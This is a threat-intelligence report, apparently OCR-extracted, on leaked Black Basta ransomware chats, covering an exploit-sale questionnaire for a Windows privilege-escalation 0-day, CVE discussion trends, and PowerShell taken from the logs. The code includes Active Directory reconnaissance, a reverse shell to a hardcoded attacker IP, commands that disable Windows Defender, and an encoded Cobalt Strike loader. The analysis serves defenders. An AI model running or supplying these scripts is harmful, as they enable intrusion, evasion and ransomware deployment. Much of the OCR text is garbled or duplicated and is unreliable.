reliability. If 32 bit only, is 64 bit vulnerable? List
complete point release range

yes, the exploit supports x32 and x64
6. Tested, functional against target application
versions, list complete point release range. Explain
tested on versions

Windows 11 22H2

Windows 11 21H2

Windows 10 21H2

Windows 10 21H1

Windows 10 20H1

Windows 10 19H2

Windows 10 19H1

Windows 10 1803
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Windows 10 1803 Windows 10 1803
Windows 10 1709 Windows 10 1709
Windows 10 1703 Windows 10 1703
Windows 10 1607 Windows 10 1607
Windows 10 1511 Windows 10 1511
Windows 10 1507 Windows 10 1507
Windows 8.1 Windows 8.1
Windows 8 Windows 8

Windows Server 2022
Windows Server 2019
Windows Server 2016
Windows Server 2012
. Does this exploit affect the current target version?
[V] Yes
[1No
. Privilege Level Gained

7.

[1As logged in user (Select Integrity level below for

Windows)

[ 1 Web Browser's default (IE - Low, Others - Med)
[]Low

[ 1 Medium

[1High

[V] Root, Admin or System

[ 1 Ring O/Kernel

[ ] Other

. Exploit Type (select all that apply)
[ 1 Remote code execution

[V] Privilege escalation

[1 Font based

[ ] Sandbox escape

[ ] Information disclosure (peek)

[ ] Code signing bypass

[ 1 Persistency

[ 1 Other

Windows Server 2022

Windows Server 2019

Windows Server 2016

Windows Server 2012

Does this exploit affect the current target version?
[V] Yes

[1No

. Privilege Level Gained

[ 1 As logged in user (Select Integrity level below for

Windows)

[ 1 Web Browser's default (IE - Low, Others - Med)
[] Low

[ 1 Medium

[1High

[V] Root, Admin or System

[ 1 Ring O/Kernel

[ 1 Other

. Exploit Type (select all that apply)

[ 1 Remote code execution

[V] Privilege escalation

[1 Font based

[ ] Sandbox escape

[ ] Information disclosure (peek)
[ ] Code signing bypass

[ 1 Persistency

[ 1 Other

[17:14:00] zdays:
10. Privilege Level Required

[17:14:00] zdays:

10. Privilege Level Required
[V] As logged in user (Select Integrity level below

for Windows)

[V] As logged in user (Select Integrity level below
for Windows)

[ 1 Web Browser's default (IE - Low, Others - Med)
[1Low

[V] Medium

[1High

[ ] Root, Admin or System

[ 1 Ring O/Kernel

[ ] Other

[1 None

11. Delivery Method

[ 1 Web Browser's default (IE - Low, Others - Med)
[1Low

[V] Medium

[1High

[ ] Root, Admin or System

[ 1 Ring O/Kernel

[1 Other

[1 None

11. Delivery Method
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[ ] Via web page
[] Via file
[ ] Via network protocol
[V] Local privilege escalation
[] Via email
12. Bug Class
[ ] Memory corruption
[V] Design/logic flaw (auth-bypass / update issues)
[ ] Input validation flaw (XSS/XSRF/SQLi/command
injection, etc.)
[ 1 Misconfiguration
[ ] Information disclosure
[ ] Cryptographic bug
[ 1 Denial of service
13. Number of bugs exploited in the item: 1
14. Exploitation Parameters
[V] Bypasses ASLR
[V] Bypasses DEP / W ~ X
[ ] Bypasses Application Sandbox
[V] Bypasses SMEP/PXN
[V] Bypasses EMET Version ___
[V] Bypasses CFG (Win 8.1)
[1N/A
15. Is ROP employed?
[V] No
[1 Yes (but without fixed addresses)
- Number of chains included?
- Is the ROP set complete?
- What module does ROP occur from?
16. Does this item alert the target user? Explain
no
17. How long does exploitation take, in seconds?
3 seconds
18. Does this item require any specific user
interactions?
without restarting or any user interaction

[17:14:00] zdays:
19. Any associated caveats or environmental factors?
For example - does the exploit determine remote
OS/App versioning, and is that required?
20. Does it require additional work to be compatible
with arbitrary payloads?

[1VYes

[V] No
21. Is this a finished item you have in your possession
that is ready for delivery immediately?

[V] Yes

[ ] Via web page
[] Via file
[ ] Via network protocol
[V] Local privilege escalation
[] Via email
12. Bug Class
[ ] Memory corruption
[V] Design/logic flaw (auth-bypass / update issues)
[ ] Input validation flaw (XSS/XSRF/SQLi/command
injection, etc.)
[ 1 Misconfiguration
[ ] Information disclosure
[ 1 Cryptographic bug
[ 1 Denial of service
13. Number of bugs exploited in the item: 1
14. Exploitation Parameters
[V] Bypasses ASLR
[V] Bypasses DEP / W ~ X
[ ] Bypasses Application Sandbox
[V] Bypasses SMEP/PXN
[V] Bypasses EMET Version ___
[V] Bypasses CFG (Win 8.1)
[1N/A
15. Is ROP employed?
[V] No
[1 Yes (but without fixed addresses)
- Number of chains included?
- Is the ROP set complete?
- What module does ROP occur from?
16. Does this item alert the target user? Explain
no
17. How long does exploitation take, in seconds?
3 seconds
18. Does this item require any specific user
interactions?
without restarting or any user interaction

[17:14:00] zdays:
19. Any associated caveats or environmental factors?
For example - does the exploit determine remote
OS/App versioning, and is that required?
20. Does it require additional work to be compatible
with arbitrary payloads?

[1VYes

[V] No
21. Is this a finished item you have in your possession
that is ready for delivery immediately?

[V] Yes
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[1No

[11-5days

[]16-10 days

[ ] More (explain)
22. Impact on framework (crashes, etc.)

does not cause process crashes, and does not
leave logs
23. Success rate (or number of necessary attempts)

%100
24. Does this item support continuation of execution?

yes
25. Description. Detail a list of deliverables including
documentation

Exp source code and exploit source program and
documents describing the cause of the vulnerability
26. Testing instructions

run exe
27. Comments and other notes; unusual artifacts,
other limitations, mitigations or other pieces of
information

This vulnerability is a service vulnerability.
Windows does not disable the service by default. If
the user manually disables the service, this
vulnerability cannot be exploited.

[1No

[11-5days

[]16-10 days

[ ] More (explain)
22. Impact on framework (crashes, etc.)

does not cause process crashes, and does not
leave logs
23. Success rate (or number of necessary attempts)

%100
24. Does this item support continuation of execution?

yes
25. Description. Detail a list of deliverables including
documentation

Exp source code and exploit source program and
documents describing the cause of the vulnerability
26. Testing instructions

run exe
27. Comments and other notes; unusual artifacts,
other limitations, mitigations or other pieces of
information

This vulnerability is a service vulnerability.
Windows does not disable the service by default. If
the user manually disables the service, this
vulnerability cannot be exploited.

Conversation on the Purchase of Vulnerability Information

Translated

2023-11-29 12:26:34,
@usernamegg:matrix.bestflowers247.online, + LSASS
Dump Exploit appeared from the guy

2023-11-29 12:26:37,
@usernamegg:matrix.bestflowers247.online, should |
get it?

2023-11-29 12:28:46,
@usernamess:matrix.bestflowers247.online, is there a
description?

2023-11-29 12:28:52,
@usernamess:matrix.bestflowers247.online, or cve
2023-11-29 12:28:56,
@usernamegg:matrix.bestflowers247.online, I'll get it
soon

2023-11-29 12:28:59,
@usernamegg:matrix.bestflowers247.online, I'll get it
2023-11-29 12:29:08,
@usernamess:matrix.bestflowers247.online, will you
buy it right away?

Original Text

2023-11-29 12:26:34,
@usernamegg:matrix.bestflowers247.online, + LSASS
Dump Exploit nosimeacsa y uena

2023-11-29 12:26:37,
@usernamegg:matrix.bestflowers247.online, B3aTb?
2023-11-29 12:28:46,
@usernamess:matrix.bestflowers247.online, ectb
onuncaHue?

2023-11-29 12:28:52,
@usernamess:matrix.bestflowers247.online, nan cve
2023-11-29 12:28:56,
@usernamegg:matrix.bestflowers247.online, ckopo
BO3MY

2023-11-29 12:28:59,
@usernamegg:matrix.bestflowers247.online, Bo3bmy
2023-11-29 12:29:08,
@usernamess:matrix.bestflowers247.online, kynub
npam?
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2023-11-29 12:29:27,
@usernamegg:matrix.bestflowers247.online,
description for now

2023-11-29 12:29:32,
@usernamess:matrix.bestflowers247.online, aah
2023-11-29 12:29:33,
@usernamegg:matrix.bestflowers247.online, + 0-day
Windows LPE

2023-11-29 12:29:36,
@usernamegg:matrix.bestflowers247.online, it's
available

2023-11-29 12:29:51,
@usernamegg:matrix.bestflowers247.online, | don't
know what systems yet either

2023-11-29 12:29:54,
@usernamegg:matrix.bestflowers247.online, waiting
for description

2023-11-29 12:29:27,
@usernamegg:matrix.bestflowers247.online,
onucaHue noka

2023-11-29 12:29:32,
@usernamess:matrix.bestflowers247.online, aaa
2023-11-29 12:29:33,
@usernamegg:matrix.bestflowers247.online, + 0-day
Windows LPE

2023-11-29 12:29:36,
@usernamegg:matrix.bestflowers247.online, ectb
2023-11-29 12:29:51,
@usernamegg:matrix.bestflowers247.online, kakne
CYceMbl MOKa TOXE He 3Hato

2023-11-29 12:29:54,
@usernamegg:matrix.bestflowers247.online, xay
onucaHve

This conversation shows gg suggesting newly available LSASS (Local Security Authority Subsystem Service) dump
exploits and Windows local privilege escalation (LPE) 0-day existence while considering acquisition. Common

attitudes prioritize information gathering over rushed purchase decisions, indicating scrutiny of effectiveness,

reliability, and supported environments rather than hasty implementation. These tense exchanges during initial

evaluation phases before new exploit introduction highlight technology-driven decision processes.

Types and Trends of Referenced Vulnerabilities

The chat logs referenced the following vulnerability types. As the graph below demonstrates, Black Basta
frequently addresses Remote Code Execution (RCE) and privilege escalation vulnerabilities. They represent high-

impact vulnerabilities, as exploitation facilitates persistence establishment, lateral movement, and backdoor
installation, making them desirable targets for operational use.
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Types and Counts of Vulnerabilities Mentioned in the Chat Logs
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The chat logs reveal the following CVSS score range distribution. Scores of 9 and above account for nearly half,
while scores above 7 comprise almost 90%. This graph further demonstrates active pursuit of high-severity
vulnerabilities for exploitation.
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Distribution of CVSS Score Ranges
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Analysis of Black Basta's vulnerability-related chat logs reveals tendencies to discuss high-impact vulnerabilities.
Similar patterns likely characterize many other ransomware groups. From defensive perspectives, rapid
implementation of security patches and enhanced monitoring upon disclosure of high-impact vulnerabilities like
Remote Code Execution (RCE) or privilege escalation proves critical for preventing damage.

Analysis of Vulnerabilities in the Leaked Chat Logs

First, analysis focuses on vulnerabilities published during the leaked chat log period (2023/9/18 - 2024/9/24) that
Black Basta mentioned.

27 vulnerabilities appeared in the chat logs and published during this period. The graph below shows timeframes
from vulnerability disclosure to chat discussion. Over half the vulnerabilities emerged in the chat logs within one
month of publication, with 14 vulnerabilities discussed within one week. This suggests Black Basta regularly
monitors potentially exploitable vulnerabilities, addressing over half at relatively early stages.
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This analysis examines three CVEs that Black Basta exploited (CVE-2024-26169, CVE-2024-1709, CVE-2024-1708).
Earlier reports identified the group's exploitation of these vulnerabilities before the chat logs leaked.

o (CVE-2024-26169

e (CVE-2024-1709 / CVE-2024-1708

Duration from release of Duration when the CVE PoC Patch Released
patch and attacks exploitation Published Published on Date
occurred on
CVE-2024-26169 | 0-Day 2023/12 - 2024/2 2024/3/12 2024/4/26 2024/3/12
CVE-2024-1709 Approx. 1 week Late 2024/2 2024/2/21 2024/2/21 2024/2/19
CVE-2024-1708 Approx. 1 week Late 2024/2 2024/2/21 2024/2/20 2024/2/19

The CVE-2024-26169 case demonstrates exploitation occurring before CVE assignment and security patch
release. Similarly, CVE-2024-1709 and CVE-2024-1708 saw exploitation within a week of patch availability.
Security patches remain the optimal permanent remedy for vulnerabilities. However, patches may not exist
initially, or business continuity requirements may prevent rapid deployment. Organizations must therefore
implement both patch management and compensating controls such as enhanced monitoring when critical
vulnerabilities affect their systems.
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Analysis of Vulnerabilities outside the Leaked Chat Logs
The vulnerabilities discussed below have disclosure dates preceding the leaked chat log period (September 18,
2023 - September 24, 2024).

CVEID Published on Chat Date in Black Basta
CVE-2023-36745 2023/9/12 2023/10/24, 2023/10/25, 2024/2/27
CVE-2023-38831 2023/8/23 2023/11/5
CVE-2023-36845 2023/8/17 2023/11/14, 2023/11/15, 2023/11/16
CVE-2023-36844 2023/8/17 2023/11/14, 2023/11/16
CVE-2023-3467 2023/7/19 2023/11/23
CVE-2023-3466 2023/7/19 2023/11/23
CVE-2023-3519 2023/7/18 2023/11/23
CVE-2023-36884 2023/7/11 2023/11/6
CVE-2023-36874 2023/7/11 2023/11/10
CVE-2023-29357 2023/6/13 2024/3/28
CVE-2023-23397 2023/3/14 2023/12/5
CVE-2023-21716 2023/2/14 2023/2/23
CVE-2022-41082 2022/9/30 2023/10/27, 2024/4/3
CVE-2022-41040 2022/9/30 2024/4/3, 2024/4/4
CVE-2022-41352 2022/9/25 2023/4/3, 2023/4/4
CVE-2022-37969 2022/9/13 2023/11/29
CVE-2022-37042 2022/8/12 2024/4/4, 2024/4/5
CVE-2022-26134 2022/6/2 2024/4/3, 2024/4/4
CVE-2022-30190 2022/5/30 2024/4/3, 2024/4/4
CVE-2022-30525 2022/5/12 2024/4/3, 2024/4/4
CVE-2022-1388 2022/5/4 2024/4/3, 2024/4/4
CVE-2022-27925 2022/4/20 2024/4/3, 2024/4/4
CVE-2022-22965 2022/4/1 2024/4/3, 2024/4/4
CVE-2022-0609 2022/2/16 2024/4/3, 2024/4/4
CVE-2021-44228 2021/12/9 2024/4/3
CVE-2021-42287 2021/11/9 2024/2/20
CVE-2021-42278 2021/11/9 2024/2/20
CVE-2021-42321 2021/11/9 2023/10/27
CVE-2021-40444 2021/9/7 2024/2/15
CVE-2021-28482 2021/4/13 2023/10/27
CVE-2021-26855 2021/3/2 2023/10/27
CVE-2020-1472 2020/8/11 2023/11/7
CVE-2017-5715 2018/1/3 2023/12/15
CVE-2017-5754 2018/1/3 2023/12/15
CVE-2017-5753 2018/1/3 2023/12/15
CVE-2017-11882 2017/11/14 2024/4/3, 2024/4/4

Black Basta reportedly began operations around April 2022, suggesting chat communications likely started from
that period. Therefore, the vulnerabilities discussed in this section may have appeared in group chats relatively
soon after disclosure.
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The dataset reveals 27 CVEs published before the leaked chat log period versus 36 CVEs published during it. This
distribution indicates the group actively sought exploitable vulnerabilities whether old or new. Among these 36
vulnerabilities, reports confirm exploitation of vulnerabilities predating Black Basta's formation (CVE-2021-42287,
CVE-2021-42278, CVE-2020-1472). These findings underscore how unpatched known vulnerabilities continue to
present exploitation risks.

Trends in Vulnerability Exploitation Revealed in the Chat Logs
® Actively discussed high-severity vulnerabilities.

Trend analysis reveals particular focus on Remote Code Execution (RCE) and privilege escalation
vulnerabilities. Many threat actors likely follow similar patterns. Organizations discovering these
vulnerability types in their systems should rapidly deploy patches and enhance monitoring. These actions
eliminate critical attack vectors and deliver cost-effective security improvements.

® Regularly checked new vulnerabilities and explored opportunities for exploitation
Analysis of vulnerabilities published during the chat log period and discussed internally by Black Basta
reveals regular monitoring of potentially exploitable flaws. The group discussed over half of these
vulnerabilities within one month of disclosure. This pattern confirms continuous vulnerability
reconnaissance by threat actors. Organizations must recognize that unpatched critical vulnerabilities create
exploitation opportunities leading to ransomware incidents and significant financial losses.

® Constantly searched for exploitable vulnerabilities, both old and new
Black Basta discussed both recent and legacy vulnerabilities in the chat logs. This demonstrates continuous
searching for exploitable flaws regardless of age. Legacy vulnerabilities remain viable attack vectors
without proper remediation. Organizations must establish systematic processes to eliminate high-severity
vulnerabilities.
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I 5.2 Attack Tools and Techniques

PowerShell Code in the Chat Logs
Black Basta's chat logs contain discussions about PowerShell scripts intended for execution on compromised
systems. PowerShell script remains a preferred attack vector among threat actors.

This report analyzes PowerShell code fragments from actual attacks to understand attack methodologies and
develop effective defenses.

Code samples appear with minimal modification from original chat logs to accurately convey attacker techniques
and intent. Detailed analysis of code behavior and characteristics provides security teams with essential insights
for designing detection and defense mechanisms.

Important Note: Code presented serves exclusively as reference material for defensive planning. Executing this
code in production environments or using it maliciously may violate applicable laws. Security research requires
appropriate test environments, proper authorization, and legitimate purposes.

Reconnaissance

This section examines PowerShell scripts designed for information gathering in compromised environments.
Both original code from chat logs and reformatted versions for readability appear below. Key characteristics
include: 1) single-line execution of all operations, 2) absence of code encryption, and 3) focus on Active Directory
information collection. These features suggest preparation for lateral movement.

1. This PowerShell script searches for computer objects in Active Directory (AD) with logon activity within 90
days, outputs their names (cn), and counts total results. The script enables environmental reconnaissance and
identification of recently active machines. This targeting approach avoids unnecessary access attempts,
reduces detection risk, and facilitates lateral movement.

powershell -c "$D=[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain();S$L="LDAP://"'.5D;5D = [ADSI]SL;SDate = $((Get-Date).AddDay
s(-90).ToFileTime());5str = '(&(objectcategory=computer)(|(lastlogon>="'+5Date+"')(lastlogontimestamp>="'+SDate+')))"';%s = [adsisearcher]$str;%s.sea

rchRoot = $L.$D.distinguishedName;$s.PageSize = 10000;5s.PropertiesToload.Add('cn') > $Null;Foreach (SCA in $s.FindALlLl()){;SCA.Properties.Item('c
n');$i++;}; Write-Output Total: $i°n'n"
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v.Domain]: urrentDoma

shold = (Get-Date).AddDa .ToFileTime()

~.PropertiesToload.Add('cn') > $null

r.FindAll(

This PowerShell script searches Active Directory domains for computers with 'serv' in their OS name that
logged on within 90 days, then displays name, OS, description, distinguished name, and total count. The
‘serv' filter narrows results to Windows Server systems, helping identify critical targets such as domain
controllers, file servers, and database servers.

$1=0;5D=[System.DirectoryServices.ActiveDirectory.Domain]: :GetCurrentDomain();SL="LDAP://"'.SD;SD = [ADSI]SL;SDate = $((Get-Date).AddDays(-90).ToF

ileTime());Sstr = '(&(objectcategory=computer)(operatingSystem=*serv*)(|(lastlogon>="'+SDate+')(lastlogontimestamp>="+SDate+')))"';$s = [adsisearch
er]Sstr;$s.searchRoot = $L.5D.distinguishedName;S$s.PropertiesToload.Add( 'cn') > SNull;Ss.PropertiesToload.Add( 'operatingsystem') > SNull;$s.Prope

rtiesToload.Add('description') > SNull;S$s.PropertiesToload.Add( 'distinguishedName'} > SNull;Foreach (SCA in $s.FindAll()){;Write-Host SCA.Propert
ies.Item('cn'); SCA.Properties.Item('operatingsystem'); $CA.Properties.Item('description'); SCA.Properties.Item('distinguishedName'); $i++;3}; Wri
te-host Total servers: $1
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$domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

$1ldapPath = "LDAP://$domain"

$adsiDomain = [ADSI]$ldapPath

$dateThreshold = (Get-Date).AddDays(-98).ToFileTime()

4

$ldapFilter = "{&({objectcategory=computer)" +
"({operatingSystem=xservxk)" 4+
"{|(lastlogon>=%dateThreshold) (lastlogontimestamp>=%$dateThreshold)))"

$searcher = [adsisearcher]$ldapFilter

.SearchRoot = "$ldapPath%(%adsiDomain.distinguishedName)"

.PropertiesToload.Add('cn') > $null
.PropertiesToload.Add('operatingsystem') > %null
.PropertiesToload.Add('description') > $null
.PropertiesToload.Add('distinguishedName') > $null
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($computer in $searcher.FindAll()) {

Write-Host $computer.Properties.Item('cn')
Write-Host $computer.Properties.Item('operatingsystem')
Write-Host $computer.Properties.Item('description')

Write-Host $computer.Properties.Item('distinguishedName'

Write-Host "Total servers: %i"

This PowerShell script retrieves and displays the total count of all computer objects registered in the Active

Directory domain. Like previous scripts, it serves reconnaissance for target environment mapping and likely

supports lateral movement.

powershell Sdomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().Name; S$domainDN = [System.DirectoryServices.ActiveDire
ctory.Domain]: :GetCurrentDomain().GetDirectoryEntry().Properties.distinguishedName.Value; Ssearcher = New-Object DirectoryServices.DirectorySearc
her; S$searcher.Filter = "(objectClass=computer)"; S$searcher.SearchRoot = "LDAP://SdomainDN"; Scomputers = $searcher.FindAll(); ScomputersCount =
Scomputers.Count; Write-Host "Total number of computers in domain $domain: $computersCount"




ain().Name

oryEntry().Prop

= New-Object Director DirectorySearcher

~.Filter = "(objectCl

t = "LDAP:

er.FindAll()

Write-Host "Total n

4. This PowerShell script retrieves Trust Relationships in Active Directory (AD) environments. The script identifies
which domains and forests have established trust relationships. This information enables understanding of
organizational domain/forest architecture, facilitating various attack scenarios including privilege escalation,
lateral movement, data exfiltration, and persistence establishment.

powershell ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

powershell ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships()

a. Current Domain
The script retrieves information on all trust relationships configured in the domain, including parent-
child relationships and external domain trusts.

b. Active Forest
The script retrieves forest-wide trust relationships, including inter-forest trusts and other trust
configurations broader than domain-level trusts.

Reverse Shell

Following successful environment compromise, threat actors establish persistence to maintain unrestricted
access and control for subsequent attack stages. Black Basta shared PowerShell script in the chat logs for reverse
shells that initiate connections from victim machines to attacker infrastructure, enabling command control while
bypassing firewalls and NAT configurations. The diagram below illustrates reverse shell exploitation
methodology. Organizations typically implement strict access controls through firewalls that block direct
external-to-internal connections. Threat actors evade these controls by first compromising systems via remote
desktop, then deploying reverse shells to establish persistent access from internal systems to external command
servers. This technique exploits the typically less restrictive egress policies compared to ingress controls.
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Login to a remote desktop with insufficient access control

using leaked credentials @ Attacker infiltrates the target environment

Remote Desktop

Facilitate access to a compromised computer using reverse shell

Attacker Firewall blocks direct access . .

Target Computer
from external sources

Firewall

This script provides a reverse shell enabling remote command transmission to systems and retrieval of execution
results. The program establishes connection to an external host, executes received commands via PowerShell,

and returns results through bidirectional communication. The attacker's IP address and listening port appear
hardcoded in the program.

{Sclient = New-Object System.Net.Sockets.TCPClient('1 2',4443);S5stream = Sclient.GetStream();[byte[]]Sbytes = 0..65535|%
{0};while( (51 = Sstream.Read(Sbytes, 8, Sbytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(
Sbytes,@, $i);S$sendback = (iex $data 2>81 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';%sendbyte = ([text.enco

11ASCII).GetBytes($sendback2);Sstream.Write($sendbyte,®,%sendbyte.Length);$stream.Flush()};%client.Close()} -WindowStyle Hidde

= New—Object Sy

em.Text.ASCIIEncoding) .Ge

Qut-String)

(Get-Locatio
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Disabling Windows Defender

Antivirus products hinder attack success, prompting threat actors to minimize their impact. One approach
involves using PowerShell to disable Windows Defender. The chat logs contained PowerShell script code that
disables Windows Defender's real-time protection and uninstalls Windows Defender in Windows Server

environments.

Set-MpPreference - Monitoring 1
powershell -ExecutionPolicy Bypass WindowsFeature -Name Windows-Defender

powershell -ExecutionPolicy Bypass -command

CobaltStrike

Security researchers have documented Black Basta's use of CobaltStrike, and the leaked chat logs contain
CobaltStrike code. PowerShell scripts in the chat logs implement multi-stage encoding and compression to
obscure malicious behavior.

The first stage appeared in the chat logs as Base64-encoded data. The code below shows an excerpt.

powershell -nop -w hidden -encodedcommand JABzAD®ATgBLAHcALQBPAGIAagBlAGMAJAAQAEKATWAUAEOAZQBtAGBACGBSAFMADABYAGUAYQBtACgALABDAEMAbWBUAHYAZQBYAHQ
AXQA6ADOARgBYAGBABQBCAGEACWB LADYANABTAHQACGBPAGAAZWACACTIASAABAHMASQBBAEEAQQBBAEEAQQBBAEEALWAZADEAWABhADMATWBPAFQAQEB1ACSASABIADGARGBIADEASWBSAFYA
awBSAEMAbAB4AGcAegBXADYAawBhAEUARgBBAFEAaQBBAEOAZQA4ADYAWGBTAFgARgBXAEQAYWBOAEBAYQBtACSALWBNAGYAMWA4AFAACQBKAGAATQBUAGOAWgAZAHEAbgBhAHQAbWB tAHKAN
gArADkAeQBLAGYAcWA3IAHAAZWADAHIAdwBOAFkACABEADTIAOABTAFMAYgBSAEQAaQBLAGBAYgBDAHKAUABZADKAbwBSAFcACABYAEWACgAZAEQAdABrADQAOABVAGWASAABAGOADQAXAHMADbW
ABADKARQBAAGQATABAAGUAQQAXAGCALWBCAHIARQBQAHIABQBXADIANQBaAEKAWQBVACKANAB1ACBASWBAAFYAZWBQAGQAWGBLAGBAWABTAFOANGATrAEBACgAZAFYAJQBSAGCAQgBSAECAKWB
GAEIAdQBSAEYAWQBLAGBAZgBUAEYAUQB 1AFMAaQBUAFkAaQAVAFMAMQATrAGoAVgAWADCARWBKAGBARgBjAFQANABUAGYAZgBpAHMAQQBRADCAWGBrAESAQQBZzAFoAMWBKAGQAJAA3ACSAZgBL
AGWASAABAGMAaAAAAHYARABAACBAVWBhAEEATQBCAFYARGBSAEQAVQB JAECAMABXADEATWB2AECATgB tAEWAKWBOAEUARGAWACBARWBWAHQABWBZAHUASgB2ADQAdgBMADEAWGB 1AEQANABOA
HUANgBjAHQAdQBWADkAMWBYAHKARABvAEMAagBQAESAdABaAEUAMWASAFMATABDAECANWBYAHCATABGAHgACgBmAHTAWABYADKAWAA2 ADgAMWBYAHOANQBZAGIAZABAADcAbWBUADEAYQBWAH
EASABtAEgAawAzACwAaQBPAFUANgAWAFQAMWATr AHUARgBRAFMAMABQAFUASWAWAHEAMgBXAGIAbwBSACBANABhADMAOAB4AHQACgASADIANGB tAFoAYgBLAHKANGBYAHoAMABOAEQAMWBhAHY
AMABVADIAUWB1AFEASQBZADCAZgBCADEADABVAFAAYWBYAFUACQBQAEEAYWBBAHOAYgBVAEUAYWBOAHEAZWAZAGCAJQA3SAEQAMgAVAHYAQQBCAGYAMWA3SADEAUGBZAGCALWBLAEWACGBYAGGA
UABZAHgAQWBQADEAQQBSAGPATgBNAGOAaQBtADYARWB1AGOAYWALAFMARQBGAHIARQBLAHQARWB JAEKAVABLAHAADABVAEQASGAWAESARQAGADKAQQBgAHOACgAZAEEAWABPAEWAdgBVAEBAM

Base64 decoding reveals the following structure. The code stores Base64-encoded, gzip-compressed data.

Ss=New-Object IO.MemoryStream(,[Convert]::FromBase64String( "H4sIAAAAAAAA/61Xa301TBb+HH8FH1KIVkyClxgzW6kaEFAQiAJe86ZSXFgDchOam+/Mf38
PqInMTmZ3gnatomy6+9yefs7pgdrwtYpD28SSbyHieobCyPYS0olWpXLréDtk48o1lHAmMUls049ExdLxeBlg/BrEPrmg25ZIYoi4u/KxVgPdZeoXSZ6+0r6VuygBlG+FBURFY
eofnFRUSLNY1/S1+jVO7GdoFcX4TffisBQ7ZkKAsZ3ddt7+fK1lH4ch8vDx/WaAMBVFyDUcGOW10vGNmL+hEF®/GVtkYulvavL1ZuD4hu6ctuV93XyDoCjPKEZE39SLCGTUW

LFxrfrXX9X683Xz5Ybdx7oT1apgHmHk3110U60T3+uFQSOPUKAg2WboR /4a38xtro26mZbey6Xz0tH3avOU25bQIY7fB1loPcrUqjAcAzbUECcNgg3gqu7D2 /vBBf371RYg/b
LrrhPYXCP1BRmNgmim6Gumc5SEFrEKtGeITeploHIOKEA9Ajzr 6AX0LVUO3Six2nAXqf/1TvSA1GE6RNCPXWqTRSCXWMc1hsnTvwIHFLImMEMECOCX7z+Qqw6 / XwhWr3yvfE]
VCz1loo2PRigHfD1ytXFw81OMESITGImSXco8E2SAkcELHf pgXx6mFMaq/ /Difo9mzZNT4ralmWeokczyeox+PxPPMt62XykW JPM jobBY /302MGhte4jIPd21zT
Pha5+dGVo7gMTj5rxNBj9r 1dMCspgTOtUCO0dfxVjXxu+yINESyoRz jJBAroET972e0711r 8p6EXMDV+A40vVXDmgHZ 7 INg5WF rxXvB5b6 jR1GDGMe52aDUJHUIK tBUF5kn

Decompressing and decoding the Base64 and gzip data reveals another PowerShell script containing additional
Base64-encoded data. This represents a typical loader program that often contains executable files, DLLs, or
shellcode.
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Set-StrictMode -Version 2

smakeitso = @'
function func_get_proc_address {

Param (S$var _module, $var_procedure)

Svar_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Lo
cation.Split('\\')[-1].Equals('System.dll') }).GetType( 'Microsoft.Win32.UnsafeNativeMethods')

Svar_gpa = S$var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 's
tring'))

return Svar_gpa.Invoke(Snull, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.Handle
Ref((New-Object IntPtr), (Svar_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke(Snull, @(Svar_module)))), Svar_procedure)
)
}

function func_get_delegate_type {
Param (
[Parameter(Position = @, Mandatory = S$True)] [Type[]] Svar_parameters,
[Parameter(Position = 1)] [Type] Svar_return_type = [Void]
)

Svar_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedD
elegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelega
teType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])

Svar_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, S
var_parameters).SetImplementationFlags( 'Runtime, Managed')

Svar_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', Svar_return_type, Svar_parameters).SetImple
mentationFlags('Runtime, Managed')

return $var_type builder.CreateType()
}

[Byte[]]5v_code = [System.Convert]::FromBase645tring('38uqlyMjQ6r GEvFHgHETqHEVQHE3QFELLJRpBRLCcEUOPHBIfIQ8D4uwuIuTBO3FOgHEZqGEF IvOoY
1um41dpIvNzqGs7qHsDIVDAH2qoF6g919RLcEUOP4uwuIuQbwibXIF7bGF4HVSsF7qHSHIVBFqC90gHs /IvCol6gi86pnBwd4eEl6eXLcw3t8eagxyKV+SO1GVYNLVEPNSndL
b1QFINz2yyM]jIyMS3HRAAHROSX11WoTc9sqHIyMjeBLqenIITIHIyS5g1TyNwc@tOqrz13PZzyq8jIyNAEVFXSyMR46dxcXFwcXNLYHYNGNZ 2quiWg4HNLoxAFTI6rDSSdzSTx
151Z1vaXc9nwS3HROSAxwdUsOITtY3Pamdyyn6SIjIxLeptVXI6rayCpliebBftz2qulLZgl9Etz2EtxASSRYdXNLIHTDKNZz2nCMMIyMa5FYke3PKWNzc3BLcyrI1iIyPK61
T1jI8tM3NzcDGIHRwWXVTEPTDGVrZmBOeRVgbRs jtIx9H16Y /pYmi6E3ZN+ZnbwYzuD/OkVQvPlknuSu5CQFb22AX6GD8QMtEL/CzE4VhemI11WtgXDVBDSN1QEBGU1cZAGITU
O9KQEIXSkxXNDFtOTwS8DQLNTTOPAQLAKTEOMWOtXTKSIWOSPDWNCUINPSKBCVOPMTQXJUEXNL111iQEBGU1cObOINRFZCREYZAOIRDKFLL1T1QEBGU1cOZKI1ATEAKTUQZARFR
DWNEWUPTL112UEZRDMIERK1XGQNUTFLKTO9CDBYNEWMLAEPNROXUUANtdwMVDRIYA3RSdBUXGANRVRKQGWOTCgNKRKBITAWREXITEXITEgN1S1TFGRUXbDBABDRMUKSPX86W
jbBb13r9zTalFB8vT/e@Ticb7YmMMAFL/WvCIm7Wikv4UrNesbIYAZETDZMv jBADMMEKUWVSII7027WDXB2zeKymcuMhpwr Zd012HxBv7ubv1skXIKtG1pmF6mM8NHdTwe jS9
